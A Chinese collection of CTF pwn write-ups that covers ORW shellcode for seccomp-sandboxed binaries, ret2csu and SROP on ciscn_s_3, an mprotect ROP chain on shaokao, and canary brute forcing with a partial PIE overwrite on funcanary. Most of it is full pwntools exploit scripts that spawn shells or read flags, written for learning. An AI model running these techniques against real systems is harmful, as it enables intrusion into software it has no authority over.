## ORW的简单利用

![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310020103411.jpg)



#### 什么是ORW？

在了解ORW之前需要先知道什么是**sandbox**。这里简单理解就是通过**prctl**系统调用和**seccomp**库函数；来定义系统调用白名单和黑名单，这里通常会ban掉system和execve系统调用，来禁止选手getshell，这时就需要ORW来绕过。这里我们只讨论栈上的sandbox。

这里我的理解就是通过利用**open，read，write**三个系统调用来直接获取远程主机下的flag。

这里还有一个工具seccomp-tools可以直接查看哪些系统调用被ban。

#### seccomp-tools安装

```bash
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
```





### 例题1：pwnable_orw（buu

先检查：

![image-20230608192901129](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081929306.png)

ida查看：

![image-20230608192956403](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081929469.png)

很明显orw_seccomp通过seccomp库函数进行ban系统调用：

![image-20230608193159705](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081931775.png)

这里会发现ban掉了除go to 0011以外的系统调用：

所以这里直接上exp：

```python
from pwn import*

io = remote('node4.buuoj.cn',25453)
# io  =process('./orw')

payload = asm(shellcraft.i386.linux.open('./flag'))
payload += asm(shellcraft.i386.linux.read('eax','esp',0x100))
payload += asm(shellcraft.i386.linux.write(1,'esp',0x100))
io.sendlineafter(b'shellcode',payload)

io.interactive()
```

* 第一步：通过open打开远程主机目录下的flag文件
* 第二步： 通过read把flag文件中内容写入esp指针位置，在`shellcraft.read('eax','esp',100)`中，第一个参数指定了读取的长度，此处为100字节，第二个参数指定了读取后数据存储的位置，此处为栈顶ESP处，第三个参数是存储文件数据的缓冲区地址，而此时需要通过文件描述符获取文件数据，所以使用了EAX寄存器来存储描述符的值，作为第三个参数传给read系统调用。
* 第三步：通过write将之前写入的数据输出



### 例题二 [NSSRound#9 Basic]MyMem

同样的操作：

![image-20230608193937490](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081939555.png)

![image-20230608194006911](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081940982.png)

```python
from pwn import*
context(log_level='debug',arch='amd64',os='linux')

io = remote('node1.anna.nssctf.cn',28790)
# io = process('./mymem')

payload = asm(shellcraft.open('/home/ctf/flag.txt')) #这个目录其实我并不清楚怎么知道的，确实是看别人wp才知道的
payload += asm(shellcraft.read('rax',0x50000+0x100,0x30))#注意：这里不能写太多0x100就会报错
payload += asm(shellcraft.write(1,0x50000+0x100,0x100))
io.sendlineafter(b'sandbox',payload)
io.interactive()
```

![image-20230608194203347](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081942414.png)

ORW的简单利用

## ciscn_s_3
![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310020106193.jpg)



依旧是被ciscn血虐的几天，这道题的难度超乎我的想象（就是我太菜了，但同样的我也学会的很多东西，虽然学的比较慢

### 步骤

#### 例行检查：

![image-20230602172944832](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306021729916.png)

很明显是一个64位的动态连接文件并且只开启了NX保护：

#### IDA

![image-20230602174408815](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306021744846.png)

这题漏洞很明显，sys_read可以读入0x400字节的数据，远远大过buf的大小，所以这里可以直接溢出。

还是可以看到程序中还有两个gadget可以使用，而这就是下面为什么有两种方法的原因：

```assembly
.text:00000000004004D6                ; Attributes: bp-based frame
.text:00000000004004D6
.text:00000000004004D6                                public gadgets
.text:00000000004004D6                gadgets         proc near
.text:00000000004004D6                ; __unwind {
.text:00000000004004D6 55                             push    rbp
.text:00000000004004D7 48 89 E5                       mov     rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00+                mov     rax, 0Fh
.text:00000000004004DA 00 00
.text:00000000004004E1 C3                             retn
.text:00000000004004E1                gadgets         endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2                ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00+                mov     rax, 3Bh ; ';'
.text:00000000004004E2 00 00
.text:00000000004004E9 C3                             retn
.text:00000000004004E9                ; ---------------------------------------------------------------------------
.text:00000000004004EA 90                             db 90h
.text:00000000004004EB                ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D                             pop     rbp
.text:00000000004004EC C3                             retn
.text:00000000004004EC                ; } // starts at 4004D6
```

注意其中

```assembly
.text:00000000004004E2 48 C7 C0 3B 00+                mov     rax, 3Bh ; ';'
---
.text:00000000004004DA 48 C7 C0 0F 00+                mov     rax, 0Fh
```

这里我们要知道再x64架构下execve和sys_rt_sigreturn的系统调用就是59（0x3B）和15（0xF），所以这里有可以直接用execve（“/bin/sh”,0,0）或者有SROP的方法伪造signal frame构造execve（“/bin/sh”,0,0）再利用sys_rt_sigreturn来getshell

这里大抵有两种方法可以利用：

* SROP
* ret2csu

至于这里为什么不能用ret2libc3大抵是因为这里read和write函数都是直接进行系统调用的libc库里面实际是找不到这两个函数的



#### 方法一：ret2csu

这里的exp说实话是写不来的，还是看大佬的理解了一下：

已经知道了溢出点，接下来就需要构造payload，但这里我们没有system和binsh并且也没有办法实现got表查libc的方法，got表东西实在是太少了（也许也可以利用__libc_start_main，有时间试试

![image-20230602180322609](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306021803644.png)

但是我们有execve的系统调用号，也有现成的systcall，所以这里我们只需要往栈里写入/bin/sh再知道其地址即可：

```python
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
```

这里有两个值得注意的点：

##### 第一点注意

第一他的返回地址其实就是esp的地址：

这里我们都清楚retn == pop eip，即将栈顶地址pop到eip中，而这里看汇编：

```assembly
.text:00000000004004ED 55                             push    rbp
.text:00000000004004EE 48 89 E5                       mov     rbp, rsp
.text:00000000004004F1 48 31 C0                       xor     rax, rax
.text:00000000004004F4 BA 00 04 00 00                 mov     edx, 400h       ; count
.text:00000000004004F9 48 8D 74 24 F0                 lea     rsi, [rsp+buf]  ; buf
.text:00000000004004FE 48 89 C7                       mov     rdi, rax        ; fd
.text:0000000000400501 0F 05                          syscall                 ; LINUX - sys_read
.text:0000000000400503 48 C7 C0 01 00+                mov     rax, 1
.text:0000000000400503 00 00
.text:000000000040050A BA 30 00 00 00                 mov     edx, 30h ; '0'  ; count
.text:000000000040050F 48 8D 74 24 F0                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514 48 89 C7                       mov     rdi, rax        ; fd
.text:0000000000400517 0F 05                          syscall                 ; LINUX - sys_write
.text:0000000000400519 C3                             retn
.text:0000000000400519                vuln            endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519                ; ---------------------------------------------------------------------------
.text:000000000040051A 90                             db 90h
.text:000000000040051B                ; ---------------------------------------------------------------------------
.text:000000000040051B 5D                             pop     rbp
.text:000000000040051C C3                             retn
.text:000000000040051C                ; } // starts at 4004ED
```

***从汇编中可以清晰地看出这里的系统调用并没有leave指令：mov ebp，esp | pop ebp***

***所以这里实际的返回地址就是rsp指向的地方也就是rbp，***

所以这里做溢出的时候就不能单纯的看栈空间来溢出，我在这里卡了很久：

![image-20230602181425977](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306021814013.png)

##### 第二点注意

写入的/bin/sh的地址需要gdb动态调试才能看出：

![image-20230602181828954](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306021818995.png)

这里可以知道**0x7ffecbd3edc0**处有一个有一个地址，而/bin/sh的地址是│**0x7ffecbd3eda0**这里就可以通过固定的偏移来计算/bin/sh的地址

```txt
这里可以计算偏移为：0x00007ffecbd3eee8 - 0x7ffecbd3eda0 = 0x148
```

所以有：

```python
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
```

然后就是最后的攻击：

这里我们选择用csu_init来构造payload，因为这里我们使用的大量的gadget实际上是找不到的，只有csu这里的最为合适：

```python
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
syscall = 0x0400501
execve = 0x4004E2
..........................................................
payload  = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
    p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
    p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
```

```assembly
csu_last & csu_former
.text:0000000000400580                loc_400580:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 4C 89 EA                       mov     rdx, r13
.text:0000000000400583 4C 89 F6                       mov     rsi, r14
.text:0000000000400586 44 89 FF                       mov     edi, r15d
.text:0000000000400589 41 FF 14 DC                    call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040058D 48 83 C3 01                    add     rbx, 1
.text:0000000000400591 48 39 EB                       cmp     rbx, rbp
.text:0000000000400594 75 EA                          jnz     short loc_400580
.text:0000000000400596
.text:0000000000400596                loc_400596:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 48 83 C4 08                    add     rsp, 8
.text:000000000040059A 5B                             pop     rbx
.text:000000000040059B 5D                             pop     rbp
.text:000000000040059C 41 5C                          pop     r12
.text:000000000040059E 41 5D                          pop     r13
.text:00000000004005A0 41 5E                          pop     r14
.text:00000000004005A2 41 5F                          pop     r15
.text:00000000004005A4 C3                             retn
.text:00000000004005A4                ; } // starts at 400540
```

* 第一步还是正常的溢出，然后retn到csu_last处将除rbx寄存器外的值全部置零，这里还有以这个值得注意的点：rbx和rbp不再像往常一样分别置零和置一，这是为了会到csu_former第一遍执行完后重新再执行一遍来确保pop_rdi（csu在x64架构下并没有mov rdi这一操作，只有edi也就是对低三十二位进行操作，这也是为什么一开始也要对r15置零的原因，减少干扰项）。**至于这里为什么还要往r12中写入binsh_addr + 0x50这一地址而不是直接写入execve的地址呢？这里是因为原本csu里面没有rdi的gadgte，所以这里我们就要再找一个pop_rdi,但是该如何执行这一个gadget呢？这里就需要用到csu里面的循环，当rbx！=rbp时rbx add 1，然后第二次执行就会跳到r12后一个地址，这里就可以放pop_rdi了**
* **还有一个就是需要搞清楚地址是什么？这里虽然写两个两个地址看似一样但是实际上写入binsh_addr + 0x50是先指向栈上的地址，而这样的话第二次循环执行rbx = 1后就会很自然的跳转到r12指向地址的下一命令，也就是pop_rdi，这样就会很自然的将binshpop到rdi中(但是这里还有一点就是为什么我动调的时候会执行三次pop_rdi这里我觉得不是很合理，还得再看看)**

```python
from pwn import*
context(log_level = 'debug',arch ='amd64',os = 'linux')
context.terminal= ['tmux','split','-h']
local = 2
if local == 1:
    io = remote('node4.buuoj.cn',26606)
else :
    io = process('./ciscn_s_3')

elf = ELF('./ciscn_s_3')
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
vuln = elf.sym['vuln']
syscall = 0x0400501
pre_rbp = 0x07ffceb64f728
execve = 0x4004E2
# gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
gdb.attach(io)
payload  = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
    p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
    p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)

io.sendline(payload)

io.interactive()
```

但这里还有几点注意：

* 第一个个payload中的返回地址要写vuln写main的话会报错
* 我这里本地打偏移是0x148但是打远程就是0x118（看别人的wp才发现，远程gdb调试不了



### 方法二 SROP

> What is sigal 机制：
>
> signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般，我们也称其为软中断信号，或者软中断。比如说，进程之间可以通过系统调用 kill 来发送软中断信号。一般来说，信号机制常见的步骤如下图所示：
>
> ![Process of Signal Handlering](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306041837692.png)
>
> 1. 内核向某个进程发送 signal 机制，该进程会被暂时挂起，进入内核态。
> 2. 内核会为该进程保存相应的上下文，**主要是将所有寄存器压入栈中，以及压入 signal 信息，以及指向 sigreturn 的系统调用地址**。此时栈的结构如下图所示，我们称 ucontext 以及 siginfo 这一段为 Signal Frame。**需要注意的是，这一部分是在用户进程的地址空间的。**之后会跳转到注册过的 signal handler 中处理相应的 signal。因此，当 signal handler 执行完之后，就会执行 sigreturn 代码。

这里需要理解signal的机制，以ciscn_s_3为例：

程序如上图，这里直接给exp：

```python
from pwn import*
context(log_level = 'debug',arch ='amd64',os = 'linux')
context.terminal= ['tmux','split','-h']
local = 2
if local == 1:
    io = remote('node4.buuoj.cn',26606)
else :
    io = process('./ciscn_s_3')

elf = ELF('./ciscn_s_3')
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
vuln = elf.sym['vuln']
syscall = 0x0400501
pre_rbp = 0x07ffceb64f728
execve = 0x4004E2

# # gdb.attach(io)

payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
# # # gdb.attach(io)
# payload  = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
# p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
# p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
# io.sendline(payload)
# io.interactive()

sigreturn = 0x04004DA

# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall

frame1 = SigreturnFrame()
frame1.rax = constants.SYS_execve
frame1.rdi = binsh_addr
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall

# # frame_packed = p64(frame.rax) + p64(frame.rdi) + p64(frame.rsi) + p64(frame.rdx) + p64(frame.rip)

# gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b') + p64(sigreturn) +p64(syscall) + bytes(frame1) + p64(vuln)
# payload = (b'/bin/sh\x00').ljust(0x10,b'b') + bytes(frame) + bytes(frame1) + p64(vuln)
io.sendline(payload)

io.interactive()
```

这里pwntools直接集成了srop模块，对于SignalFrame的伪造会方便很多，当然这里还是列出x64和x86架构下的SigalFrame结构：

X86：

```c
struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};
```

**X64：**

```c
struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};
```

---



```python
frame1 = SigreturnFrame()
frame1.rax = constants.SYS_execve
frame1.rdi = binsh_addr
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall
```

通过这样的简单构造就可以直接把个寄存器设置为自己需要的值，这就是对execve的系统调用。

下面分析payload，这里有我一开始有一点迷惑：就是为什么在

*p64(sigreturn)*之后还要再syscall一次，这里我其实被我自己的写法给误导了，我一开始以为p64(sigreturn)就已经将伪造的SignalFrame恢复，其实不然，这里p64(sigreturn)仅仅只是

```assembly
text:00000000004004DA 48 C7 C0 0F 00+                mov     rax, 0Fh
.text:00000000004004DA 00 00
.text:00000000004004E1 C3                             retn
```

这样一段汇编内容，并没有对syscall的调用，也就没有进入内核态，也就自然没法恢复伪造的SignalFrame来完成攻击，

```python
# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall
```

而上面这一段被我注释的内容实际上是我有些想当然了，我以为这样构造也可以完成对sigreturn的调用，实际上也是不可以的，因为srop的原理其实就是利用signalreturn恢复机制来完成操作，但这里实际上我将“果”当“因”处理了，是行不通的。

这里的难点其实还是方法一，还是有很多不懂的点，这样的payload实在是巧妙。

2019ciscn_s_3

## pwn
![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310020106914.jpg)



### shaokao

检查：

![image-20230527170343950](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305271703069.png)

发现是64位静态链接文件

ida查看：

##### main

![image-20230527170503429](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305271705465.png)

##### menu

![image-20230527170530084](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305271705116.png)

可以看到这里有一个if判断才可执行的`“改名”`

![image-20230527170634568](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305271706600.png)

很明显这里有一个栈溢出：

```python
io.recvuntil("0. 离开".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯\n".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("来几瓶？\n".encode('utf-8'))
io.sendline(b'-99999')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'4')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'5')
```

拿到改名选项。

但是这题没有给我们system和binsh所以只能换种思路：因为是静态链接，所以一定有mprotect函数，可以直接更改段权限，这里我们可以直接更改bss段的权限，然后直接把shallcode写入bss段执行，又因为是64位，所以需要寄存器传参：

> mprotect：
>
> #include <sys/mman.h>
> int mprotect(void *addr, size_t len, int prot);
> addr：修改保护属性区域的起始地址，addr必须是一个内存页的起始地址，简而言之为页大小（一般是 4KB == 4096字节）整数倍。
> len：被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
> prot：可以取以下几个值，并可以用“|”将几个属性结合起来使用：
> 1）PROT_READ：内存段可读；
> 2）PROT_WRITE：内存段可写；
> 3）PROT_EXEC：内存段可执行；
> 4）PROT_NONE：内存段不可访问。
> 返回值：0；成功，-1；失败（并且errno被设置）
> 1）EACCES：无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时，接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
> 2）EINVAL：addr不是有效指针，或者不是系统页大小的倍数。
> 3）ENOMEM：内核内部的结构体无法分配。
> 这里的参数prot：
> 			r:4
> 			w:2
> 			x:1
> prot为7（1+2+4）就是rwx可读可写可执行，与linux文件属性用法类似
>
> 参考：[Linux中mprotect()函数详解__bob_h的博客-CSDN博客](https://blog.csdn.net/qq_15762939/article/details/104062307)

所以这里就可以更改权限：

```python
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\ p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+p64(read)+p64(buf_addr)#这里实际找到的pop_rdx只有两个
```

![image-20230527172614882](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305271726911.png)

所以还要多传一个参数

通过rdi,rsi,rdx三个寄存器给mprotect传参更改权限,然后ret到read函数的地址写入shellcode，再跳转到shellcode处执行

```
注：这里bss段的地址只能选用4kb整数倍的地址。
```

### exp

```python
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
context(terminal = ['tmux','split','-h'])
# io =remote('123.56.238.150',24460)
io = process('./shaokao')
mp_addr = 0x0458B00
pop_rdi = 0x040264f
pop_rsi = 0x040a67e
pop_rdx = 0x04a404b
read = 0x0457DD0
buf_addr = 0x4E9000
bss_addr = 0x4E9000

io.recvuntil("0. 离开".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯\n".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("来几瓶？\n".encode('utf-8'))
io.sendline(b'-99999')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'4')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'5')
# gdb.attach(io)
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\
    p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+\
    p64(read)+p64(buf_addr)
io.recvuntil("请赐名：\n".encode('utf-8'))
shellcode = asm(shellcraft.sh())
io.sendline(payload)
io.sendline(shellcode)

io.interactive()
```

### misc

使用wireshark打开：

直接追踪tcp流：

![image-20230528174521395](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305281921328.png)

中间红色部分拼接:

MMYWMX3GNEYWOXZRGAYDA===

直接base32解码：

flag：

c1f_fi1g_1000

## Crypto

### sign in passwd

用给的第二行数据进行base64换表，再解码：

```python
from base64 import*
T1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
T2 = 'GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF'
T2 = 'GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF'
enc = 'j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D'
str = ''
for i in range(len(enc)):
   str += T1[T2.index(enc[i])]
# str = base64.b64decode(str)
print(str)
   
```

得出：

ZmxhZ3s4ZTRiMjg4OC02MTQ4LTQwMDMtYjcyNS0zZmYwZDkzYTZlZTR9

解码：

flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

### 国密sm2

做题时的记录：

```
"id": "45c620d1-0c23-4e75-aa49-484f769dc6e8"

A_prvite=2ABD46BACD79A7DE3E494056F80C3A802776CF454FB60EB4021D3162FA4BC3BC

A_public=E7EA0C52F83B28EC7449FDE2346650BA108BEF938E6622A279726B27FCB48D8650A324962C3B7E1857968FB2C734323FC65B675755BFC583EE343431D3E6B906

B_private=597a62be8f1f746b104b060351e7841e3a84d1a07b78f76908c420d8d467ce47

B_pub=0438e483c718bae10e03d4ed4476bd28131383860034b47364a48d27436e23acd2328de25edd07519be64874d88734f4cc2eb9fff2756065f5745f229d206cbdf3

random=9a770cae67c0277737b704dfcf02663dd278f8eb1fb46ddedbf1762ec0c75057a66614843af1624b68502c3487de72fb0fc661e1e713c333021afd36fe78d2d276fb8be13315b68870b9a825b86654e699cb2c92ee07d6f460e93e8dd6c75081009dbe7d1d1b2a9af28aae6fad3e6aa5

 "quantumString": "fd11b5ac03f85cd368d9234f847f2936a08ca3531468d4c67d3e3a002966725ccb0b793d12e4b0ad55689b72ac916998b4cba165c68ba09252b9f6724a28f7767921e9ddd63768530fd99e6738925cee8762d61ac2f9e29397dbbefd53110d26605bda47ab788e5548bc8ea3a77395fc"

随机数铭文：29 24 55 C9 3D 98 EA 1A 4B 25 8E A8 8D 97 77 30 

B_pri明文=


E8 B4 BA 6E F1 3A CE 6C  DC D2 79 FF DA D6 54 49
25 74 18 94 2B 0C EF 92  F1 9A 81 AF 02 66 62 6E

E34E5F83817D03A55E257D0214CD04E774E372FC451F1157773C2EA8012AFF1A1955E9BFC076D76F386526ED31CB411A0CFDE51D1F05CF7C07525D0CF69D67349F425C0AA71201E71C4DFA8A40B7A08191A5706B817563DB93CE

EC 5F 32 7D DB 33 CB 94 1D B3 C0 8B F8 E3 A7 BA 
```

根据给的文件做就可以.

ciscn_pwn_shaokao

### ciscn_pwn_funcanary
![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310020108344.jpg)




做了一整天的牢，爆破canary时一直报错说byte型不能和str型相连接，好不容易爆破出canary了，结果才发现还有一个pie enable。难绷。

不过总算是把他复现出来了：

直接看保护：这保护不得不说很豪华，我认识的保护直接拉满全开。（看到这第一反应：下班，这比赛打不了一点）

![image-20230530091813876](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305302033262.png)

直接ida看静态：

```c
void __fastcall __noreturn MEMORY[0x12D2](__int64 a1, char **a2, char **a3)
{
  __pid_t v3; // [rsp+Ch] [rbp-4h]

  sub_1243(a1, a2, a3);
  while ( 1 )
  {
    v3 = fork();
    if ( v3 < 0 )
      break;
    if ( v3 )
    {
      wait(0LL);
    }
    else
    {
      puts("welcome");
      sub_128A();
      puts("have fun");
    }
  }
  puts("fork error");
  exit(0);
}
```

很明显这是子线程覆盖canary，首先`fork`一个子线程，然后在子线程内进行操作，这里我们需要知道的是，fork操作中子线程和主线程用的是一个canary.并且程序中这一个循环还不会终止，这就跟便于我们对canary的爆破：

漏洞函数：

```c
unsigned __int64 sub_128A()
{
  char buf[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}
```

在sub_128A中有一个read函数作为溢出点：

通过循环来逐字节爆破：stack reading

```python
coding='utf-8'
from pwn import *
from binascii import*
context.log_level = 'debug'
# context.terminal = ['tmux','-x','bash','-c']
context(arch='amd64', os='linux')
p = process('./funcanary')
p.recvuntil('welcome\n')
canary = b'\x00'


for i in range(7):
    for j in range(256):
        payload =b'a'*(0x68)+canary + p8(j)#这里一开始是下面这种写法
        p.send(payload)
        a = p.recvuntil(b'welcome\n')
        if b'have fun' in a:    #如果没有显示stack-smashing则表示canary没有错误，所以会正常输出have fun，就可以判断是否成功。
            canary += p8(j)
            break
##-------------报错写法——————------
canary = "\x00"
for i in range(7):
    for j in range(256):
        payload ="\x00"*(0x68)+canary + chr(i)
        p.send(payload)
        a = p.recvuntil(b'welcome\n')
        if b'have fun' in a:
            canary += chr(i)
            break#很难崩
```

成功爆破：

![image-20230530201536295](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305302033773.png)

然后就是绕过pie了：

```python
for i in range(16):
    payload = b'a'*(0x68)+canary +b'a'*(0x8)+b'\x31'+p8((i<<4)+2) #这种方法爆破感觉不是很合适，这里p8的范围是2-242也就是0x0000-0xf200，如果地址是0xf700啥的会不会有问题？或许类似下面这种跟合适？
    #list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]
    p.send(payload)
    a = p.recv()
    if b'flag' in a:
        print(a)
        break


p.interactive()
```

这里就不得不提到绕过pie的一个技术over write 的bypass：

因为pie保护是对内存页操作的所以只会影响除前三字节以外的地址，这时候我们就可以通过覆盖返回地址的后三字节来控制程序流，这里因为往往返回地址和getshell的地址的偏移也只在一内存页单位内，所以其他字节也基本不变，

所以这里也可以直接覆盖四字节，不用再爆破

![image-20230530202101770](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305302033202.png)

当然很多时候其实没有这么顺利，第四字节往往不一样，这时候就又需要爆破了

这里因为环境已经关闭所以没法拿到远程主机/bin/目录下的flag：

![image-20230530203051811](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305302033385.png)

ciscn_pwn_funcanary

### first_fit

![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310020108473.jpg)



```c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
        fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
        fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
        fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
        fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

        fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
        char* a = malloc(0x512);
        char* b = malloc(0x256);
        char* c;

        fprintf(stderr, "1st malloc(0x512): %p\n", a);
        fprintf(stderr, "2nd malloc(0x256): %p\n", b);
        fprintf(stderr, "we could continue mallocing here...\n");
        fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
        strcpy(a, "this is A!");
        fprintf(stderr, "first allocation %p points to %s\n", a, a);

        fprintf(stderr, "Freeing the first one...\n");
        free(a);

        fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

        fprintf(stderr, "So, let's allocate 0x500 bytes\n");
        c = malloc(0x500);
        fprintf(stderr, "3rd malloc(0x500): %p\n", c);
        fprintf(stderr, "And put a different string here, \"this is C!\"\n");
        strcpy(c, "this is C!");
        fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
        fprintf(stderr, "first allocation %p points to %s\n", a, a);
        fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}                                                                                                                                                                                                 
```

![image-20230518190942698](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305181909814.png)

第一次malloc分配的地址是1st malloc(0x512): 0x5613955532a0
第二次malloc分配的地址是2nd malloc(0x256): 0x5613955537c0

